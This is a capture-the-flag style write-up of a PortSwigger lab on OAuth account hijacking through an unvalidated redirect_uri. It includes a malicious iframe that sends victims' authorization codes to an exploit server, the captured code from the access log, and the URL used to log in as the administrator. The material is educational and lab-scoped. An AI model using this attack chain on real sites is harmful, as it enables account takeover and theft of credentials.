Introduction

OAuth is the backbone of modern "Login with Google/Facebook/GitHub" flows. When implemented correctly, it's secure. But a single misconfiguration โ€” an unvalidated redirect_uri โ€” can allow an attacker to steal authorization codes and hijack any user's account, including admins.

In this writeup, I'll walk through how I solved the PortSwigger Web Security Academy lab: OAuth account hijacking via redirect_uri, explaining the vulnerability, the attack chain, and the fix.

What is OAuth and How Does It Work?

OAuth 2.0 is an authorization framework that lets users grant third-party apps limited access to their accounts without sharing passwords. The typical flow looks like this:

None

The key parameter in this flow is redirect_uri โ€” it tells the OAuth server where to send the authorization code after the user logs in.

The Vulnerability: Unvalidated redirect_uri

OAuth servers are supposed to whitelist allowed redirect URIs during app registration. If a server blindly accepts any URI the client sends, an attacker can redirect the authorization code to their own server.

None
The original OAuth authorization request captured in Burp Suite

Step-by-Step Attack

Step 1: Reconnaissance โ€” Intercept the OAuth Flow

After logging in with wiener:peter, I captured the authorization request in Burp Suite:

GET /auth?client_id=trp46vtgcj1u85okc5ldb
     &redirect_uri=https://TARGET.web-security-academy.net/oauth-callback
     &response_type=code
     &scope=openid%20profile%20email

Step 2: Test the Misconfiguration in Burp Repeater

I sent the request to Burp Repeater and changed the redirect_uri to point to my exploit server.

None
Server accepts any redirect_uri without validation โ€” returns 302 to attacker's domain

The server returned a 302 Found straight to my exploit server โ€” confirming the vulnerability exists.

Step 3: Craft the Malicious iframe on the Exploit Server

I went to the Exploit Server and in the Body field, pasted this iframe:

<iframe src="https://oauth-0a3200f504c42bcd80f72988029b00ef.oauth-server.net/auth
  ?client_id=trp46vtgcj1u85okc5ldb
  &redirect_uri=https://exploit-0af0002104f62b1b80382af0017a00e6.exploit-server.net
  &response_type=code
  &scope=openid%20profile%20email">
</iframe>
None
Malicious iframe crafted on the exploit server โ€” triggers silent OAuth flow for any logged-in victim

Then I clicked Store to save the exploit.

Step 4: Deliver Directly to the Victim โ€” No "View Exploit" Needed

โš ๏ธ Important: I did NOT click "View Exploit". Clicking it loads the exploit in your own browser, which has no active admin OAuth session โ€” so no admin code gets generated. Instead, I went straight to "Deliver exploit to victim".

I clicked "Deliver exploit to victim" directly.

None
Delivering the exploit directly to the victim โ€” skipping 'View Exploit' entirely

This sends the malicious page to the admin user, whose browser already has an active OAuth session. When their browser loads the iframe, it silently hits the OAuth server, which generates an authorization code for the admin and redirects it straight to my exploit server.

Step 5: Check the Access Log โ€” Steal the Code

Immediately after delivering the exploit, I went to the Access Log on the exploit server.

None
Admin's browser (IP: 10.0.4.43) hits our server โ€” authorization code exposed in the URL

The log showed:

10.0.4.43  "GET /?code=V01aACxXZfPTvgpw4HT34iHq39JWRFN45noLxq9zWs_ HTTP/1.1" 200
           user-agent: Mozilla/5.0 (Victim) Chrome/125.0.0.0

Two things confirm this is the admin's code, not mine:

  • The IP 10.0.4.43 belongs to the victim's browser (not my IP 104.28.x.x)
  • The user-agent says (Victim) โ€” Chrome, not my Firefox

I copied the code: V01aACxXZfPTvgpw4HT34iHq39JWRFN45noLxq9zWs_

Step 6: Use the Stolen Code to Log In as Admin

First, I logged out of the blog website. Then I navigated to:

https://TARGET.web-security-academy.net/oauth-callback?code=V01aACxXZfPTvgpw4HT34iHq39JWRFN45noLxq9zWs_

โš ๏ธ Do this immediately โ€” authorization codes expire within seconds to minutes.

The OAuth flow completed automatically. I was now logged in as the administrator.

None
Successfully logged in as administrator using the stolen authorization code

Step 7: Delete Carlos โ€” Lab Solved โœ…

From the Admin Panel, I found and deleted the user carlos.

None
None
Lab solved โ€” full account takeover achieved via stolen OAuth authorization code

Key Takeaways

  • Always test redirect_uri for open redirect issues during OAuth pentests
  • Skip "View Exploit" โ€” deliver directly to the victim when exploiting session-dependent flows
  • The victim's IP in the access log (10.0.x.x) vs your IP (104.x.x.x) confirms whose code was stolen
  • Authorization codes are single-use and short-lived โ€” act fast after capture
  • This is classified as CWE-601 (Open Redirect) combined with OAuth authorization code theft.

References